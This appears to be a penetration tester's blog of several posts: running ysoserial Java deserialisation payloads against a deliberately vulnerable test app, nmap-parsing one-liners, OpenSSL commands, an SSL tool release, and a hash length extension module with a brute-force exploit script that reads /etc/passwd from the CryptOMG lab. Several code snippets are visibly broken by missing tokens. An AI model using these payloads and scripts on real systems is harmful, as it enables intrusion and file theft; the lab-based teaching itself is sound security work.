Sunday, May 1, 2016

CommonCollections deserialization attack payloads from ysoserial failing on > JRE 8u72

Recently, while trying to exploit a Java app vulnerable to a deserialisation attack, I was having some issues getting the CommonsCollections1 payload from ysoerial working.  In case you're not familiar with this, essentially the <=3.2.1 versions of the Apache Commons Collections library can be used to create an attack payload of Java serialized data that can be used to execute local commands on systems running Java applications that deserialize untrusted attacker supplied content. The ysoserial tool enables an attacker to create a number of different serialized Java attack payloads which make use of a wide variety of commonly used Java libraries in order to fulfill their goals. The CommonsCollection1 payload is one of those targeting the CommonsCollections 3 branch.

This was a little frustrating, because I had used this exact payload multiple times in the past on pentests with great success.  Some further investigation was required, to figure out what was happening here.

During some testing on my local system, using a very simple vulnerable test application, I found that the payloads did not seem to work when run against Java apps executed on Oracle Java 1.8u91 but worked fine on Oracle Java 1.7u80.

Here's the vulnerable Java code, "", I was using for testing, which takes a single input parameter of a filename, then reads the contents of that file and tries to deserialise it. The code makes reference to the Java Commons Collection library, which will provide the ability for us to use the appropriate versions of the Commons Collection payloads from ysoserial to exploit this application, as long as the matching vulnerable version of the Commons Collections library is on the applications class path when we run it.

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import org.apache.commons.collections.*;
public class SerializeTest{
  public static void main(String args[]) throws Exception{
    Bag bag = new HashBag();
    Path path = Paths.get(args[0]);
    byte[] data = Files.readAllBytes(path);
    InputStream d = new ByteArrayInputStream(data);
    ObjectInputStream ois = new ObjectInputStream(d);

I have included the command output showing the result of my testing below. During the testing, I create a file with malicious serialised Java data at /tmp/CommonsCollections1.bin with ysoserial, then try and read it with my vulnerable Java app using different versions of the Java runtime.

The following command creates a CommonsCollection1 payload file. This payload should create the file /tmp/pwned if deserialised by a Java application that has a vulnerable version of the Apache Commons Collections 3.x library on the class path.

stephen@ubuntu:~/workspace/SerializeTest/bin$ java -jar ~/Downloads/ysoserial-0.0.4-all.jar CommonsCollections1 'touch /tmp/pwned' > /tmp/CommonsCollections1.bin

Now, we try and read that payload file using our vulnerable Java application, via running it with the default Java JRE on my machine, which happens to be Java 1.8.0_91. The expectation is that this will work, and run our payload, creating file /tmp/pwned. When running the application, I have set the class path to point to a copy of the Commons Collections 3.2 library.

stephen@ubuntu:~/workspace/SerializeTest/bin$ java -version
java version "1.8.0_91"
Java(TM) SE Runtime Environment (build 1.8.0_91-b14)
Java HotSpot(TM) 64-Bit Server VM (build 25.91-b14, mixed mode)
stephen@ubuntu:~/workspace/SerializeTest/bin$ java -cp .:../lib/commons-collections-3.2.jar SerializeTest /tmp/CommonsCollections1.bin 
Exception in thread "main" java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet
 at sun.reflect.annotation.AnnotationInvocationHandler.invoke(
 at com.sun.proxy.$Proxy0.entrySet(Unknown Source)
 at sun.reflect.annotation.AnnotationInvocationHandler.readObject(
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(
 at java.lang.reflect.Method.invoke(
 at SerializeTest.main(
stephen@ubuntu:~/workspace/SerializeTest/bin$ ls /tmp/pwned
ls: cannot access '/tmp/pwned': No such file or directory

The file /tmp/pwned doesn't exist. Strange. Lets try running the vulnerable application using an older version of Java.

stephen@ubuntu:~/workspace/SerializeTest/bin$ /usr/lib/jvm/java-7-oracle/bin/java -version
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
stephen@ubuntu:~/workspace/SerializeTest/bin$ /usr/lib/jvm/java-7-oracle/bin/java -cp .:../lib/commons-collections-3.2.jar SerializeTest /tmp/CommonsCollections1.bin 
Exception in thread "main" java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set
 at com.sun.proxy.$Proxy0.entrySet(Unknown Source)
 at sun.reflect.annotation.AnnotationInvocationHandler.readObject(
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(
 at java.lang.reflect.Method.invoke(
 at SerializeTest.main(
stephen@ubuntu:~/workspace/SerializeTest/bin$ ls /tmp/pwned

OK, that worked - /tmp/pwned exists, proof of pwnage. Same Java application, same malicious serialized payload, same vulnerable version of Commons Collections library - the only thing different between these two exploitation attempts is the version of the JRE being used to run the vulnerable app. Note the different Java error messages produced via the two executions of that program. The second error is an expected error, the first however is not. Some Googling for the "java.lang.Override missing element" Java "bad" error I was receiving led me to this issue on the ysoserial tracker on GitHub (and yes, I probably should have just checked there before the hours of testing).

So, some changes made to the VM in December last year, in JRE 8u72 just after the Java deserialisation attack blew up in the security community with the Floxglove security post, appear to be breaking this gadget chain. Is there a way around this so we can get our sploit on?  As it turns out, the answer is yes. A workaround has been added to the ysoserial 0.0.5 snapshot branch on github.

Grab the latest snapshot of ysoserial via git, and build it using Maven like so.

mvn -DskipTests clean package

This will create a 0.0.5 snapshot version of ysoserial. Then, build an exploit using the CommonCollections5 payload.

stephen@ubuntu:~/workspace/SerializeTest/bin$ java -jar ~/Downloads/ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'touch /tmp/pwned2.0' > /tmp/CommonsCollections5.bin 
stephen@ubuntu:~/workspace/SerializeTest/bin$ java -cp .:../lib/commons-collections-3.2.jar SerializeTest /tmp/CommonsCollections5.bin 
stephen@ubuntu:~/workspace/SerializeTest/bin$ ls /tmp/pwned2.0 

Saturday, April 30, 2016

List comprehension one liners to extract info from nmap scans using Python and libnmap

When I perform internal penetration tests where a large number of hosts and services are involved, its useful to be able to quickly extract certain sets of information in an automated fashion from nmap scan data.  This is useful for performing automated tests against various service types, such as directory brute forcing on web servers, SSL/TLS cipher and protocol testing on SSL/TLS servers, and other targeted tests on various particular products or protocols.

I do a lot of my processing during a pentest either from IPython or the *nix shell, so being able to access this information from Python, where I can directly use it in scripts, the REPL or write it to disk to access using shell commands is extremely useful.

To this end, the libnmap library proves extremely useful.  This post will cover a number of list comprehension "one liners" that can be used with the aid of the NmapParser library from libnmap to populate this information into a Python environment, where it can then be easily used for other purposes such as running a loop of other actions, or writing it to disk in a text file.

This is largely for my own use, so I don't forget these techniques, but hopefully other people find this useful as well.  I'm hoping that this post does more than just give you a list of code to copy and paste, and also gives you an appreciation about how useful IPython is as a data processing tool for Pentesting.

I may add to this post in future if I have other commonly used patterns that I think would be useful.


The first step in being able to parse nmap scan data, is doing an nmap scan.  I wont go into too much detail about how this is done, but to use the code in this post you will need to have saved your scan results to an xml file (options -oX or -oA) and have performed service detection (-sV) and run scripts (-sC) on the open ports.

The rest of the commands in this post will assume you are working from a Python REPL environment such as IPython, and have installed the libnmap module (which you can do using easy_install or pip).

To start off with, you need to setup the environment, by importing the NmapParser module and then reading in your xml scan results file (named "up_hosts_all_ports_fullscan.xml" which is located in the present working directory in the example below).

from libnmap.parser import NmapParser
nmap_report = NmapParser.parse_fromfile('up_hosts_all_ports_fullscan.xml')

The rest of this post will cover various one lines that will generate lists with various useful groupings of information.  The examples all assume that the nmap scan data resides in a variable named nmap_report, as generated in the example above. The base list comprehension lines are given in the examples below, and if you paste these directly into the IPython REPL in which you have already run the instructions above, it will dump the output directly to the console so you can view it.  I usually always do this first before taking other steps so I can determine the data "looks" as expected.

Then, you can optionally preface these lines with a variable name and equals "=" sign to assign the data to a variable so you can use it in future Python code, or surround it with a join and a write to save it to disk so you can work on it with shell commands.  You could also paste the snippets into a Python script if its something you might want to use multiple times, or if you want to incorporate some more complex logic that would become awkward in a REPL environment.  I'll include a section at the end that shows you how to quickly perform these operations.

Port information

Hosts with a given open port

Show all hosts that have a given port open.  Generates a list of host addresses as strings.  Port 443 is used in the example below, change this to your desired value.

[ a.address for a in nmap_report.hosts if (a.get_open_ports()) and 443 in [b[0] for b in a.get_open_ports()] ]

Unique port numbers found open

Show a unique list of the port numbers that are open on various hosts.  Generates a list of port numbers, as ints, sorted numerically.

sorted(set([ b[0] for a in nmap_report.hosts for b in a.get_open_ports()]), key=int)

Hosts serving each open port, grouped by port

Show all open ports and the hosts that have them open, grouped by port and sorted by port order.  Generates a list of lists, where the first item of each member list is the port number as an int, and the second item is a list of the IP addresses as strings that have that port open.

[ [a, [ b.address for b in nmap_report.hosts for c in b.get_open_ports() if a==c[0] ] ] for a in sorted(set([ b[0] for a in nmap_report.hosts for b in a.get_open_ports()]),key=int) ]


Host and port combinations with SSL

Show all host and port combinations with SSL/TLS.  This works by looking for any reference to the service being tunneled over "ssl" or the script result including results that reference a pem certificate.  Generates a list of lists, where each list item includes the host address as a string, and the port as an int.

[ [a.address,  b.port] for a in nmap_report.hosts for b in if b.tunnel=='ssl' or "'pem'" in str(b.scripts_results)  ]

The following includes the same information as the above, a list of all SSL enabled host and port combinations except as opposed to a list of lists, I have used the join function to create a list of host:port strings. 

[ ':'.join([a.address,  str(b.port)]) for a in nmap_report.hosts for b in if b.tunnel=='ssl' or "'pem'" in str(b.scripts_results)  ]

Host and port combinations serving websites

Show all websites, including the port and protocol (http or https).  This generates a list of lists, where each child list contains the protocol as a string, address as a string and port number as an int.  There is some inconsistency in the way that nmap reports on https sites (sometimes the service is "https", and other times the service is "http" with an "ssl" tunnel), so I have performed some munging of field data to make the output here consistent.

[ [(b.service + b.tunnel).replace('sl',''), a.address, b.port] for a in nmap_report.hosts for b in if and b.service.startswith('http') ]

Here is the same information as the above, but instead of a list of lists with protocol, host and port as separate items, it joins all these together to provide list of URLs as strings.

[ (b.service + b.tunnel).replace('sl','') + '://' + a.address + ':' + str(b.port) + '/' for a in nmap_report.hosts for b in if and b.service.startswith('http') ]

Other Service Information

Unidentified services

Show all of the services that nmap could not identify during its service enumeration.  Generates a list of lists where each child list contains the address as a string, the port as an int, and the nmap service fingerprint as a string.  I usually like to generate this information for manual review of those particular services, and don't do anything automated with the output, but its still nice to be able to quickly generate this information for easy review.

[ [ a.address, b.port, b.servicefp ] for a in nmap_report.hosts for b in if (b.service =='unknown' or b.servicefp) and b.port in [c[0] for c in a.get_open_ports()] ]

Software products identified by nmap

Show a unique list of the products that nmap identified during the scan. Generates a sorted list of strings for each product.

sorted(set([ b.banner for a in nmap_report.hosts for b in if 'product' in b.banner]))

Host and port combinations serving software products, grouped by product

Show each software product, with hosts and ports where they are served, grouped by product.  Generates a list of lists, where each child has a first element of the product name as a string, followed by a list of lists, where each child list contains the address as a string, and the port number as an int.

[ [ a, [ [b.address, c.port] for b in nmap_report.hosts for c in if c.banner==a] ] for a in sorted(set([ b.banner for a in nmap_report.hosts for b in if 'product' in b.banner])) ]

Same as the above, shows each product, with hosts and ports where they are enabled, grouped by product, but with a slightly different presentation.  This generates a list of lists, the first element in each list is the product name as a string, the second element is a list of host:ports as strings.

[ [ a, [ ':'.join([b.address, str(c.port)]) for b in nmap_report.hosts for c in if c.banner==a] ] for a in sorted(set([ b.banner for a in nmap_report.hosts for b in if 'product' in b.banner])) ]

Host and port combinations serving services relating to a particular search string

Show all the hosts and ports that relate to a given (case sensitive) search string, which can be found anywhere in a raw text dump of all the service information provided by nmap, covering the product name, the service name, etc.  The string "Oracle" is used in the example below. Can be used to create a more generalised, or alternatively more specific grouping of services than the snippet above.  Generates a list of lists, where each child list contains the address of a host as a string and the port as an int.

[ [a.address, b.port] for a in nmap_report.hosts for b in if and 'Oracle' in str(b.get_dict()) + str(b.scripts_results) ]

Shows the same as the above, all host and port combinations that match a given search string, but in this case its modified to match against a service information dump that's all in lower case.  Use lower case search strings here (the example is a lower case "oracle").  Generates output in the same format as the example above.

[ [a.address, b.port] for a in nmap_report.hosts for b in if and 'oracle' in (str(b.get_dict()) + str(b.scripts_results)).lower() ]

Random Stuff

Common Name from Certificate Subject

Shows the common name field from any SSL certificates found and parsed by nmap during a script scan.  Can be useful to determine the systems host name if you only started with an IP Address and reverse DNS doesnt work.  Generates a list of lists, each containing the IP address and extracted host name as strings.

[ [a.address, c['elements']['subject']['commonName'] ] for a in nmap_report.hosts for b in for c in b.scripts_results if c.has_key('elements') and c['elements'].has_key('subject') ]

Ways to use the results

As mentioned earlier, the examples above, when pasted into your IPython REPL, will just dump the output to screen, where you can look at it.  That's nice, cause it allows you to see the data you're interested in, ensure it passes the "smell" test, etc, but you probably want to do other stuff with it as well. One of the benefits of generating the information above in this way is that you can easily perform some further automated action with the result.

If you're already familiar with Python, it will be pretty easy for you to perform these other types of tasks, and you can skip this section, but for those who are not, this section will provide some basic pointers on how you can make use of these snippets. The examples below will demonstrate some simple examples of the things that you might want to do with them.

Saving to disk

If you want to write the output of one of the snippets to disk to a text file, you need to join the list together in an appropriate string format (depending on your use case) and then actually write it out to a file.  In Python, we can join the list to a string using the join function, and write it to disk using open and write.  Here's an example.

Lets say we want to take our generated list of hosts and ports that support ssl, and pass them out to a newline separated file so we can do a for loop in bash and test each combination for secure ssl usage using a command line tool (are the ciphers correct, are there bad protocols like ssl3 or 3, etc).  I would do all of this in a giant one liner in IPython, because that's the sort of thing that amuses me, but I will break it down into individual lines of code here for readability in this example.

Our list comprehension, that generates a list of host:port strings from above, is as follows. Note how we use the str function around the port number to convert it to a string from an int to allow it to be joined together with other strings.  This is something to be aware of when manipulating this sort of data like this, and was something that caught me out a lot when I was first learning to use Python. 

[ ':'.join([a.address,  str(b.port)]) for a in nmap_report.hosts for b in if b.tunnel=='ssl' or "'pem'" in str(b.scripts_results)  ]

Lets assign it to a variable named "ssl_services" to make it easier to work with.

ssl_services = [ ':'.join([a.address,  str(b.port)]) for a in nmap_report.hosts for b in if b.tunnel=='ssl' or "'pem'" in str(b.scripts_results)  ] 

Now, lets join each list element together with newlines ('\n'), using Pythons join function, and assign it to a new variable, "ssl_services_text".

ssl_services_text = '\n'.join(ssl_services)

Now, we can create a new file "ssl_services_file.txt" in the present working directory, and write the contents of our ssl_services_text variable to it.


Easy.  Now you can bash away at the file to your hearts content.

Using with other Python code

Perhaps you want to use the list comprehensions above in other Python code?  That's easy too.  Here's a simple example, where we will loop through each of our websites identified from nmap, and see the result of requesting a particular page from that site.

Here's the list comprehension that generates the list of URLs.  We will assign it directly to a variable called "urls".

urls = [ (b.service + b.tunnel).replace('sl','') + '://' + a.address + ':' + str(b.port) + '/' for a in nmap_report.hosts for b in if and b.service.startswith('http') ]

Next, we do some prep work, and import the requests module and setup a simple helper function that makes a web request and saves the result to file on disk with an autogenerated name based on the url.  You will note below that the get request uses the "verify=False" option, which ignores certificate validation errors when making the request, something that's often necessary when testing internally on machines that may not trust the certificate authorities used to sign SSL certificates.

import requests

def getAndSave(url):
    r = requests.get(url, verify=False)

Now, we will add some code to iterate through each of the base URLs from nmap, and requests  the robots.txt file for each site so that it can be saved to disk for our later perusal.

for a in urls:
    getAndSave(a + 'robots.txt')

This will request each the robots.txt from each of the sites in turn, and save it to disk in the current working directory.  This is just a very simple example (there's not even any error checking in the getAndSave function, but it hopefully gives you an idea of whats possible.


Hope you found this useful, and that it gave you an appreciation of how useful and flexible Python can be when parsing nmap scan data.

Are there any other common tasks you perform with nmap scan data that you would like a one-liner for?  Leave a comment!

Monday, September 28, 2015

OpenSSL Conversion, Display and Encryption Commands for Pentesters

Every time I pull out OpenSSL to perform a particular task I end up having to refer to Google or random text files on my hard drive to remind myself of the correct syntax. Consequently, I'm doing a writeup here of all of the OpenSSL commands that I make use of in various penetration tests and CTF challenges that involve encryption, mainly as a personal reference, but also in case anyone else finds this useful.

The following commands are sorted by category, and may be added to in the future if I find more commands that I find useful.

Asymmetric keyfile conversion

Conversion of asymmetric keys between various different storage formats.


Convert der certificate to pem format.

openssl x509 -inform der -outform pem -in certificate.crt -out certificate.pem


Convert pem certificate to der format.

openssl x509 -inform pem -outform der -in certificate.pem -out certificate.crt

PEM Key and Certificate to PKCS12

Convert private key and certificate to pkcs12 format.

openssl pkcs12 -export -out keys.p12 -inkey private.pem -in certificate.pem

Displaying data from asymmetric keyfiles

Displaying of informational data from various forms of asymmetric key files.

PKCS12 Files

Print nodes from a pkcs12 file.

openssl pkcs12 -in keys.p12 -nodes

Public Keys

 Display a variety of data from a public key.

openssl rsa -inform pem -pubin -text -noout -in publickey.pem

Display the modulus from a public key.

openssl rsa -inform pem -pubin -modulus -noout -in publickey.pem

Private Keys

Display a variety of data from a private key.

openssl rsa -inform pem -text -noout -in privatekey.pem

Display the modulus from a private key.

openssl rsa -inform pem -modulus -noout -in privatekey.pem


 Display a variety of data from a certificate.

openssl x509 -inform pem -text -noout -in certificate.pem

Display the modulus from a certificate.

openssl x509 -inform pem -modulus -noout -in certificate.pem

Different Key Formats for Private/Public Keys and Certificates

The Public/Private/Certificate commands immediately above all make use of the pem format in the file that they read.  This can be changed to 'der' or 'net' to use an alternate format.

Encryption and decryption using asymmetric cryptography

Encryption and decryption of data using asymmetric cryptography.


Decryption using a private key.

openssl rsautl -decrypt -in encryptedfile -out decryptedfile -inkey ./privatekey.pem


 Encryption using a public key.

openssl rsautl -encrypt -pubin -in plaintextfile -out encryptedfile -inkey ./publickey.pem

Encryption using a certificate.

openssl rsautl -encrypt -certin -in plaintextfile -out encryptedfile -inkey ./certificate.pem

Padding Modifiers

These examples all assume a default padding type of PKCS 1.5. The following options can be used to try different types of padding, or none at all.

-pkcs, -oaep, -ssl, -raw

Encryption and decryption using symmetric cryptography

Encryption and decryption of data using asymmetric cryptography.


Encrypt a file using AES in CBC mode with a keyfile.

openssl enc -aes-256-cbc -in ./plaintext.txt -out ./encrypted.bin -pass file:./passwordfile.bin


Decrypt a file using AES in CBC mode with a keyfile.

openssl enc -d -aes-256-cbc -in ./encrypted.bin -out ./plaintext.txt -pass file:./passwordfile.bin

Encryption modifiers and alternate algorithms

 The following switches can be used to modify the way the encryption process occurs.

-salt adds a salt to the file 
-base64 base64 encodes/decodes depending on encryption mode

There are also a wide variety of other encryption algorithms and cipher modes that can be used, which can be listed by the following.

openssl enc -h

Monday, March 16, 2015

Version 0.5 of SSL Testing Tool

I recently received an email asking me whether, something I initially wrote a few years ago and have recently completely ignored, supported TLS versions 1.1 and 1.2. Well, it didn't, but after having a look at the code it turns out that it was easy enough to add support for these versions of the protocol. Due to this, I've released a new version of the tool, with this, and a few other changes.

Here's the changes:
  • Added support for scanning versions 1.1. and 1.2 of TLS
  • Updated compliance checks for PCI DSS 3.0 (I'm about 90% sure this is accurate and reflective of the most paranoid interpretation of the rules and other guidance). Running the tool with --list -p will list the ciphers and show you which are I believe are approved and which are not - let me know if you think I've been overly strict.
  • Updated compliance checks for ISM 2014, including a new Yellow color for ciphers that meet the mandatory (MUST) ISM standards, but don't meet the SHOULD standards (as it turns out this is quite a few of them). The usual Green is used for ciphers that meet both. Use --list to list all supported ciphers that the tool can check for and show which ones are which.  The code has comments describing the things that are being checked for, if you're interested.
  • Updated cipher list for the newer versions of OpenSSL. The new list is quite a bit bigger than that of the previous version, but specific support depends on your underlying OpenSSL library.
  • Removal of by default peer certificate verification, and an option to turn this on if you wish (the tool is designed to check supported ciphers, not certificates)
  • Updated the help
Now, something to note if you are running this on recent Ubuntu systems is that some of the underlying libraries used to make the SSL/TLS connections, including libssl and Net::SSLeay, both disable SSLv2 support. Most likely due to its horrible insecurity. This means that SSLv2 cipher checks using these libraries will silently fail in, resulting in false negatives.

Chris Mahns, from whom I ripped off borrowed the initial codebase and idea for has posted some solutions to this on his blog. The following are for Ubuntu 13.04, but can be largely run with small modifications on Ubuntu 14.04, which is the platform I was using for testing.

Here's how you fix OpenSSL. On 14.04 you don't need to worry about the TLSv1.2 client bit, and the version of OpenSSL will be different, but otherwise the process is identical:

Here's what you do with Net::SSLeay. I modified the below slightly by making the source change in the Ubuntu package for Net::SSLeay (libnet-ssleay-perl) instead of the source from the libraries authors, then I rebuilt the .deb file and installed it. In essence, I used a combination of this process plus the Debian package rebuilding steps in the previous link. I did not need to reinstall IO::Socket::SSL, which was installed using the libio-socket-ssl-perl Ubuntu package.

Now, if you're running a amd64 version of Ubuntu, you may find that when you build these packages, it creates a dependency for libc6-amd64 instead of just libc6. This will create dependency problems when you try and install the package, because there is no amd64 version of libc6-amd64 (its a multiarch thing). I was too lazy to figure out the underlying cause for this, so to fix it I just modified the recreated .deb files to change this dependency back to libc6 using the following method.

Grab the new from here.

Saturday, August 23, 2014

hlextend Pure Python hash length extension module


Ive been spending some time recently looking at various types of cryptographic vulnerabilities, trying to work out more efficient ways of identifying and exploiting them during penetration tests.

Hash length extension attacks are one of the vulnerability classes I have been looking at, and while I'm aware of and have played round with other tools such as Hashpump and hash_extender, I really wanted something that I could easily make use of in various Python scripts, as well as perhaps Python based Burp extensions.  To that end, I wrote my own pure Python module, hlextend.

In this initial version, hlextend only supports the vulnerable SHA1 and SHA2 hashes, sha1, sha256 and sha512.  I plan to add MD5 support in the next version. The module is based on the SlowSha implementation by Stefano Palazzo, so it is slower than various compiled implementations, however it is fast enough for the uses I had in mind.

The module is available on GitHub.


Basic usage involves copying the module file into your Python path (or the present working directory when running a script that uses it), importing it, and using the 'new', 'extend' and 'hexdigest' functions to create an instance of your algorithm, use the extension functionality and printout the new hash.

For a more detailed example, assume an application you are attacking uses a known hash generated from an unknown secret value concatenated with a known user provided value to check the integrity of the user provided value - perhaps to ensure it has not been modified from an allowed set of values. You want to be able to produce a new valid hash after appending additional data to the known value, allowing you to change the data while still passing the integrity check function.

If the hash algorithm used is vulnerable, it is possible to achieve this without knowing the secret value as long as you know (or can guess, perhaps by brute force) the length of that secret value. This is called a hash length extension attack.

Assume the application creates a sha1 hash value of '52e98441017043eee154a6d1af98c5e0efab055c', by concatenating an unknown secret of length 10 and known data of 'hello'. You wish to append the text 'file' after 'hello' and also provide a valid hash back to the application that it will produce when it concatenates your provided value (which will include the string 'hello' followed by 'file') with its secret. You would do the following to perform the attack:
    stephen@stoat:~$ python
    Python 2.7.3 (default, Feb 27 2014, 19:58:35)
    [GCC 4.6.3] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import hlextend
    >>> sha ='sha1')
    >>> print sha.extend('file', 'hello', 10, '52e98441017043eee154a6d1af98c5e0efab055c')
    >>> print sha.hexdigest()

 The unknown secret (of length 10), that when hashed appended with 'hello' produces a SHA1 hash of '52e98441017043eee154a6d1af98c5e0efab055c', will then produce a SHA1 hash of 'c60fa7de0860d4048a3bfb36b70299a95e6587c9' when appended with the output from the extend function above.

You may notice that the new value produced above contains a lot of additional data between the 'hello' and the 'file' - this is hex encoded padding data used by the hash algorithm that needs to be integrated into the hashed data in order for the attack to work - so strictly speaking you can't specify the EXACT value to append, only what comes after the padding, but under the right circumstances you can make the application ignore this extra padding.

If you don't know the exact length of the secret value, brute forcing the value by trying multiple different lengths can sometimes be possible, depending on the application.

Example Attack

If you want a practical demonstration of the brute force approach, below is an example Python script that can exploit the CryptOMG hash length extension vulnerability in Challenge 5. For this challenge, the application is using a hash, sent with each file request, to confirm that the file being requested by the user is one that the user is allowed to access.  An example URL looks like the following:

The hash value is generated by concatenating a secret value known to the application, with the filename that the user requests in the 'file' parameter (the filename is 'hello' in the above URL).  Including the secret value within the hash generation process prevents an attacker from easily changing the 'file' value, and then just generating a new valid hash to send to the application themselves.  The application, however, is vulnerable to a hash length extension attack, allowing the attacker to brute force a valid hash for a changed value of the file parameter, by trying multiple possible lengths for the initial secret (a fact unknown to the attacker). This can be done WITHOUT ever having to know the actual secret itself.

The goal of Challenge 5 in CryptOMG is to read the /etc/passwd file, via bypassing the hash integrity check on the file parameter. This is what the script below will automate using the hlextend module to generate the extended hash values.

To use this script, install your own instance of CryptOMG and edit the 'site' parameter on line 11 to point to your instance of CryptOMG. The values for hashAlg, startHash and fileName are all taken from the URL parameters of the application after changing the algorithm to 'sha1' and selecting the 'hello' file from the menu on the left, and shouldn't need to be changed.

#!/usr/bin/env python
# Brute forcing script to solve CryptOMG Challenge 5 using hlextend Hash Length Extension Python module
from urllib import quote
import requests
import socket
import sys
import time
from HTMLParser import HTMLParser
import hlextend

site ='' 
hashAlg = 'sha1'
startHash = '93e8aee4ec259392da7c273b05e29f4595c5b9c6'
fileName = 'hello'

appendData = '../../../../../../../../../../../../../../etc/passwd'
params = { 'algo' : hashAlg }

#cookies = { 'PHPSESSID' : '710jkfcq2t29us8u56ag5oii55' }
#proxies = { 'http' : '',  'https' : '' } 

    proxies = {}

    cookies = {}

reqsettings = { 'proxies' : proxies, 'stream' : False, 'timeout' : 5, 'verify' : False, 'cookies' : cookies }

class HParser(HTMLParser):
    '''HTML parser to extract from div:content and h1 tags'''

    def __init__(self):
        global inHtag
        global inDtag
        self.outData = ''
        self.divData = ''
        inHtag = False
        inDtag = False

    def handle_starttag(self, tag, attrs):
        global inHtag
        global inDtag

        if tag == 'h1':
            inHtag = True
        elif tag == 'div':
            if (self.get_starttag_text().find('content') > -1):
                inDtag = True
    def handle_endtag(self, tag):
        global inHtag
        global inDtag

        if tag == "h1":
            inHtag = False
        elif tag == "div":
            inDtag = False

    def handle_data(self, data):
        global inHtag
        global inDtag

        if inHtag:
            self.outData = self.outData + data
        elif inDtag:
            self.divData = self.divData + data

    def close(self):
        return [ self.outData, self.divData ]

sessions = requests.Session()

for length in xrange(3, 60):
    sha =
    append = sha.extend(appendData, fileName, length, startHash, raw=True)
    newHash = sha.hexdigest()

    params['file'] = append
    params['hash'] = newHash
    reqsettings['params'] = params

    while 1:
            response = sessions.get(site, **reqsettings)
        except (socket.error, requests.exceptions.RequestException):

    parser = HParser()
    [ out, divdata ] = parser.close()
    noResult = False
    if out.find('File not found') > -1:
        noResult = True

    if not noResult:
        print 'Length of secret: ' +  str(length)
        print 'Parameter value for file: ' +  quote(append)
        print 'Parameter value for hash: ' + newHash
        print 'File contents: '
        print divdata[6:]

Here is the output when I run the script on CryptOMG installed on a Metasploitable box:
    stephen@wolverine:~/code/hlextend-extra$ ./
    Length of secret: 34
    Parameter value for file: hello%80%018../../../../../../../../../../../../../../etc/passwd
    Parameter value for hash: 1dcac9735aab91cd8c2433f5c55bed91ab167114
    File contents:
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
    mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
    user:x:1001:1001:just a user,111,,:/home/user:/bin/bash

Get it!

You can download the module on GitHub here.